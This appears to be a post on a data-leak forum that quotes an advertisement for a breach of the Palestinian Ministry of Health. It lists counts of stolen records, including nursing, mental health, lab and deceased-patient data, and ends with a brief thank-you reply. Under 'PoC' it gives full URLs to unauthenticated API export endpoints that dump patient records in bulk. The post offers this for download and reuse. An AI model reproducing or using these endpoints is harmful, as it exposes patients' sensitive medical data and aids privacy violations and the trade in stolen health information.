02-05-2025, 06:45 PM
(10-15-2023, 07:33 AM)tail Wrote: moh.gov.ps suffered a breach due to unauthenticated API exposing Palestine's entire healthcare system.
Contents:
1,166,252x NCD Nursing Records (Split into 1,2 or 6 month chunks)
65,589x Nurse Visit Reports
30,990x NCD Reports
29,370x NCD Screenings
7,852x Child Hemoglobin Tests
2,879x Emergency Nursing Records
1,391x Mental Health Screenings
1x Statistics Report
Total count - 1,304,324 Records
Part2:
1,637,255x NCD Patients Lab Test Results
7,269x Appointment Reports
3,313x NCD Dead Patients List
Total count - 1,647,837 Records
(For context, the total population of Palestine is ~4.9 Million people)
Download:
PoC:
http://apps.moh.gov.ps/phc3/ajax/chronic/ncdnursingdetailedreport.php?phcid=&patientid=&name=&from=10/10/2023&to=10/10/2023&step=export http://apps.moh.gov.ps/phc3/ajax/chronic/chronicpatientreport.php?districtid=&phcid=&patientid=&name=&diagnosis=&complications=&drugid=&risk=&openfilefrom=&openfileto=&dateoperation=&lastvisitdate=&step=export http://apps.moh.gov.ps/phc3/ajax/mental/mentalscreeningdetailedreport.php?phcid=&patientid=&name=&from=09/10/2000&to=09/10/2023&step=export http://apps.moh.gov.ps/phc3/ajax/child/hgbreport.php?districtid=undefined&phcid=&patientid=&name=&from=09/10/2022&to=09/10/2023&step=export http://apps.moh.gov.ps/phc3/ajax/chronic/screeningdetailedreport.php?phcid=&visittype=&patientid=&name=&from=09/06/2023&to=09/10/2023&step=export http://apps.moh.gov.ps/phc3/pages/nursing/nursingmonthlyrptprint.php?phccenter=&phcname=&from=09/10/2010&to=09/10/2023 http://apps.moh.gov.ps/phc3/ajax/nursing/emergencydetailedreport.php?phcid=&nursingservice=&patientid=&name=&from=09/10/2010&to=09/10/2023&step=export http://apps.moh.gov.ps/phc3/ajax/nursing/nursingdetailedreport.php?phcid=&nursingservice=&route=&patientid=&name=&from=09/10/2010&to=09/10/2023&step=export NCD Patients Lab Test Results List - http://apps.moh.gov.ps/phc3/ajax/chronic/chronicpatientlabreport.php?districtid=&phcid=&from=11/10/2023&to=11/10/2023&patientid=&name=&diagnosis=&complications=&test=&step=export DEAD NCD PATIENTS LIST - http://apps.moh.gov.ps/phc3/ajax/chronic/chronicdeadpatientreport.php?phcid=&from=01/06/2023&to=10/10/2023&patientid=&name=&diagnosis=&complications=&drugid=&step=export APPOINTMENT REPORT - http://apps.moh.gov.ps/phc3/ajax/chronic/appointmentreport.php?phcid=&patientid=&name=&diagnosis=&complications=&reporttype=&apptype=&fromdate=01/09/2023&todate=11/10/2023&step=export
Credits: Archivist
thank you for this